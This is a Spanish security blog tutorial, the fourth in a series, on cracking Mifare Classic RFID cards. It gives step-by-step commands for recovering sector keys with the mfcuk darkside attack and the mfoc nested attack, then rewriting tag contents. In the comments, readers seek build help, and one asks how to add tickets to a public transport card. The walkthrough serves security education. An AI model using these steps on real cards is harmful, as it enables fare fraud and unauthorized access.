You are on page 1of 4

Hacking RFID, rompiendo la seguridad de Mifare (IV) | Security Art Work

1 de 8

http://www.securityartwork.es/2010/09/15/hacking-rfid-rompiendo-la-...

Entradas
Comentarios
Evasin en IDS (II) | Home | Evasin en IDS (III)
Hacking RFID, rompiendo la seguridad de Mifare (IV)
Por David Lladr, 15 de Septiembre de 2010 |
En este post vamos, por fin, a poder obtener las claves de un tag Mifare Classic para posteriormente leer el contenido, escribir Para ello, partimos de la base que
ya tenemos las libreras instaladas tal y como dijimos en el anterior post, y que detectamos el lector (si tenis problemas con esto, decidlo en los comentarios).
Vamos ahora a instalar las herramientas que necesitaremos. La primera de ellas se llama mfcuk e implementa el ataque llamado darkside descrito en
http://eprint.iacr.org/2009/137.pdf. Este ataque aprovecha la poca entropa que se utiliza en el cifrado Crypto-1 para obtener mediante fuerza bruta la clave de un
sector.
svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk-read-only
(para la versin 1.3.4 de libnfc,
svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk -r r37)
cd mfcuk-read-only
autoreconf -vis
./configure
make
sudo make install

Una vez instalado, lo ejecutamos con la orden:


mfcuk_keyrecovery_darkside -C -v 2 -R 3:A -M 8
-C
-v 2
-R 3:A
-M 8

Para realizar la conexin


Modo very verbose
Recuperar la clave A del sector 3
Tipo de tag Mifare Classic 1K

Obtenemos el siguiente resultado:

Donde vemos que ha encontrado la clave A del sector 3. Este ataque, segn los creadores dura unos 5 minutos, pero en mis pruebas no ha bajado de 20. Como veis,
obtener las 30 claves (en el caso que sean todas diferentes) nos podra llevar demasiado tiempo. Ahora vamos a utilizar el programa mfoc para obtener todas las
dems claves. Mfoc utiliza el llamado Nested-Authentication attack que se basa en el conocimiento de una clave para atacar a los sectores restantes. Su
instalacin es la siguiente:
wget http://micmd.googlecode.com/files/mfoc-new.tar
cd mfoc
autoreconf -vis
./configure
make
sudo make install

Para usar la clave que hemos obtenido anteriormente hay que volver a compilar el archivo mfoc.c que est en ./mfoc/src/mfoc.c y buscar el vector de claves por
defecto:

16/01/2012 09:52 p.m.

Hacking RFID, rompiendo la seguridad de Mifare (IV) | Security Art Work

2 de 8

http://www.securityartwork.es/2010/09/15/hacking-rfid-rompiendo-la-...

Solo hay que aadir la clave siguiendo el mismo patrn. Luego hacemos un:
gcc mfoc.c -o mfoc

y ya lo tenemos a punto.
La ejecucin del programa, yo la he hecho de la siguiente forma:
mfoc -P 100 -O salida.mdf
-P 100
-O

Reintentos
Archivo de salida

Veremos algo como esto:

Esta parte todava no es el ataque; aqu mfoc est comprobando si las claves que tiene por defecto funcionan con algn sector. Primero hace una pasada probando
las claves A. Como se deduce, la clave a884. es la clave A del sector 0. Despus de esto, empezar el ataque donde ir obteniendo las claves una a una. En el caso
de que las obtenga todas en las 100 repeticiones, har el volcado del tag en el archivo salida.mdf. S no, yo recomiendo apuntar las claves e ir introducindolas en el
archivo mfoc.c.
Por ltimo, una vez tengamos todas las claves podemos crearnos con un editor hexadecimal un archivo llamado keys.mdf. Este archivo lo podemos crear a partir del
salida.mdf poniendo todo a ceros excepto los sectores triler de cada bloque. Con este archivo keys.mdf ya podemos operar con el tag con las funciones de la librera
libnfc:
nfc-mfclassic w a contenido_nuevo.mdf keys.mdf
w
a
contenido_nuevo.mdf
keys.mdf

Escritura
Clave A
Archivo de entrada
Archivo con las claves

Con esta ltima orden hemos escrito un tag Mifare Classic con un contenido modificado, con lo que termina esta entrada y de momento (por mi parte) las entradas
sobre seguridad en Mifare Classic. Si algn lector intenta llevar a cabo lo aqu explicado y tiene problemas, estar encantado de ayudarle en los comentarios.
6
6
(+7 rating, 7 votes)

25 comentarios a Hacking RFID, rompiendo la seguridad de Mifare (IV)

16/01/2012 09:52 p.m.

Hacking RFID, rompiendo la seguridad de Mifare (IV) | Security Art Work

3 de 8

http://www.securityartwork.es/2010/09/15/hacking-rfid-rompiendo-la-...

Muy buena entrada David, felicidades!. Espero con ganas la prxima entrada ;). Ahora me voy a coger el metro :P.
Ximo [web], 15 de Septiembre de 2010, 12:47 pm
no lo pongais tan facil!!!no !! es un error !!!
dudux [web], 20 de Septiembre de 2010, 9:47 pm
esas keys se de dnd son perfectamente !!!
dudux [web], 21 de Septiembre de 2010, 6:45 pm
aqui una pista..http://twitter.com/Securityartwork
dudux [web], 21 de Septiembre de 2010, 6:49 pm
dudux, toda la informacin aqu mostrada puede ser obtenida de diferentes recursos de Internet. No estamos hablando de un 0-day ni ninguna tcnica de ataque
oculta.
Security ArtWork [web], 22 de Septiembre de 2010, 10:53 am
Hola ante todo ,disculpas por la intrusion tan descarada xD
Estoy totalmente de acuerdo,que no es nada oculto ni ningun 0day,hubiera sido mas interesante esa info que esta,lo que si se que no hay howtos para que cualquiera
pueda comprometer todo un nuevo sistema instaraudo en tu ciudad,de entidades gubernamentales y tan cotidianas como son estas Si mifare 1k classic est
roto desde hace aos,y casi te diria que DesFire tambien,pero lo bueno es que no se publica a todos los vientos que soplan..
No me voy a enrollar,veo que cualquiera puede destruir estas bases,se que es muy facil,lo se de hace tiempo,pero no ser de mi boca pregonarlo.Para que
prasitos se aprovechen de mis investigaciones.
Un saludo,atentamente
dudux [web], 22 de Septiembre de 2010, 5:12 pm
Hola,
En estos posts se habla de la tarjeta Mifare que est ampliamente utilizada pero no se hace mencin a otras tarjetas como las ATMEL con cryptorf
Parece ser que pocas tarjetas se salvan de al quema.
psp [web], 29 de Septiembre de 2010, 10:12 am
Cuando compilo mfcuk me da error, no entiendo porqhttp://paste2.org/p/1009703
unaDuda [web], 29 de Septiembre de 2010, 7:56 pm
Perdon, se me corto el comentario. Decia que no entiendo el error ya que puedo detectar el reader y la tarjeta conectada.
unaDuda [web], 29 de Septiembre de 2010, 7:57 pm
Alguien me puede ayudar ? Este es el log de compilacin: http://paste2.org/p/1009703
unaDuda [web], 2 de Octubre de 2010, 3:06 am
Tengo un problema, no me detecta el lectorno se si es que no tengo bien instalados los drivers para el lector USB
MiFARE [web], 18 de Noviembre de 2010, 8:01 pm
root@repsaj-latitude:~/mfcuk/mfcuk-read-only# make
make all-recursive
make[1]: Entering directory `/root/mfcuk/mfcuk-read-only
Making all in src
make[2]: Entering directory `/root/mfcuk/mfcuk-read-only/src
CC crapto1.o
CC crypto1.o
CC mfcuk_finger.o
CC mfcuk_keyrecovery_darkside.o
mfcuk_keyrecovery_darkside.c: In function mfcuk_darkside_select_tag:
mfcuk_keyrecovery_darkside.c:894: error: NM_ISO14443A_106 undeclared (first use in this function)
mfcuk_keyrecovery_darkside.c:894: error: (Each undeclared identifier is reported only once
mfcuk_keyrecovery_darkside.c:894: error: for each function it appears in.)
mfcuk_keyrecovery_darkside.c:894: warning: passing argument 5 of nfc_initiator_select_passive_target from incompatible pointer type
/usr/local/include/nfc/nfc.h:71: note: expected struct nfc_target_t * but argument is of type union nfc_target_info_t *
mfcuk_keyrecovery_darkside.c: In function main:
mfcuk_keyrecovery_darkside.c:1639: error: NM_ISO14443A_106 undeclared (first use in this function)
mfcuk_keyrecovery_darkside.c:1639: warning: passing argument 5 of nfc_initiator_select_passive_target from incompatible pointer type
/usr/local/include/nfc/nfc.h:71: note: expected struct nfc_target_t * but argument is of type union nfc_target_info_t *
mfcuk_keyrecovery_darkside.c:988: warning: ignoring return value of system, declared with attribute warn_unused_result
make[2]: *** [mfcuk_keyrecovery_darkside.o] Error 1
make[2]: Leaving directory `/root/mfcuk/mfcuk-read-only/src
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/root/mfcuk/mfcuk-read-only
make: *** [all] Error 2
I downloaded mfcuk. I did cd mfcuk-read-only, autoreconf -vis and ./configure. Now as you see the command make doesnt work.
RepsaJ [web], 18 de Noviembre de 2010, 9:35 pm

16/01/2012 09:52 p.m.

Hacking RFID, rompiendo la seguridad de Mifare (IV) | Security Art Work

4 de 8

http://www.securityartwork.es/2010/09/15/hacking-rfid-rompiendo-la-...

Im sorry RepsaJ, we dont offer technical support. Im sure there are some discussion forums that can provide you with help on this subject.
Thanks.
Manuel Benet [web], 19 de Noviembre de 2010, 8:47 am
Tambien tengo el mismo problema que RepsaJ, he intentado tambien con mfoc pero me da un error tambien relacionado con las sentencias que incluyen
NM_14443A_106. Tengo la ultima version de libnfc pero he visto que en nfc-types.h no se llama NM_14443A_106 sino NMT_14443A. Al cambiarlo sale de nuevo
el mismo error. Deberia tener otra version mas antigua de libnfc?
MiFARE [web], 21 de Noviembre de 2010, 4:34 pm
I also had the same compilation problem than RepsaJ, I was using libnfc-1.4.0 , I did came back to 1.3.9 and it worked.
Ivan [web], 26 de Noviembre de 2010, 3:54 pm
Thanks Ivan!!!Ive almost gone crazy with this!
MiFARE [web], 27 de Noviembre de 2010, 1:19 pm
Estoy intentando hacer pruebas con mi lector Touchatag, va todo bien pero al apagar el ordenador se ve que me ha dejado instalado el driver antiguo y tengo el
lector en un estado bloqueado, necesitaria poder eliminarlo. Alguien se ha visto en la misma situacin?
MiFARE [web], 31 de Diciembre de 2010, 8:23 pm
En vez de utilizar mfcuk y mfoc, no serviria mejor el programa RFdump, Si no es asi me podrias explicar la diferencia? y cual seria el mejor metodo para realizar el
ataque ?
Kra [web], 18 de Enero de 2011, 9:21 pm
en google code solo aparece los reader de los codigos pero no para poder bajar el MFCUK como archivo comprimido, he visto que la mayoria de post son sobre el
problema del mfcuk, sera que ud nos puede ayudar a publicar en un servidor gratuito el programa comprimido (tar.gz o zip o cualquiera ) porfavor
Kra [web], 19 de Enero de 2011, 5:37 am
hola qusiera saber si sirve unicamente el touchatag o puede servir este Modulo Rfid Lector-escritor Mifare Iso14443 13.56 Mhz Modulo RFID Lector-Escritor
Mifare ISO14443 13.56 MHz
Modulo nuevo para evaluacin, demostracin y desarrollo de aplicaciones en RFID mediante estndar ISO14443 Mifare
Marca: ACG
Caractersticas:
-Frecuencia Transmisin 13.56 MHz
-Lectura y Escritura normas estndar: ISO14443A
-Distancia de Lectura / Escritura hasta 8 cm
-Antena integrada interna
-Conexin RS232 y RS422
-Velocidad de Comunicacin variable entre 9,600 a 57,600 baudios
-Salida para LED de prendido / apagado
-Salida para LED TX/RX
-Reducido tamao 7 cm X 12 cm
-Alimentacin 5 VDC, 150 mA.
-Incluye software demostrativo y protocolos para desarrollar aplicaciones.
scorpio [web], 23 de Marzo de 2011, 10:38 pm
Hola, se puede hacer algo parecido a esto con el Samsung Galaxy S?
Bruj0 [web], 31 de Marzo de 2011, 9:51 am
hola ya he instalado todo me que dificil donde le meto la clve al mfoc en q linea y como se donde le cambio los numeros me podrian ayudar gracias .ubuntu 11.04
juan27 [web], 1 de Mayo de 2011, 11:56 am
// Array with default Mifare Classic keys
byte_t defaultKeys[][6] = {
{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // User defined key slot
{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
{0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
{0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
{000, 000, 000, 000, 000, 000}, // Blank key
{0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5},
{04d, 03a, 099, 0xc3, 051, 0xdd},
{01a, 098, 02c, 07e, 045, 09a},
{0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
{071, 04c, 05c, 088, 06e, 097},
{058, 07e, 0xe5, 0xf9, 035, 00f},
{0xa0, 047, 08c, 0xc3, 090, 091},
{053, 03c, 0xb6, 0xc7, 023, 0xf6},
{08f, 0xd0, 0xa4, 0xf2, 056, 0xe9}
};esto es lo q aparece en mfoc dende le meto la clave
Annimo [web], 1 de Mayo de 2011, 12:21 pm
la clave qa es la misma en los 15 sectores es una tarjeta de transporte publico ,nesesito ayuda para cargar tickets gracias

16/01/2012 09:52 p.m.

You might also like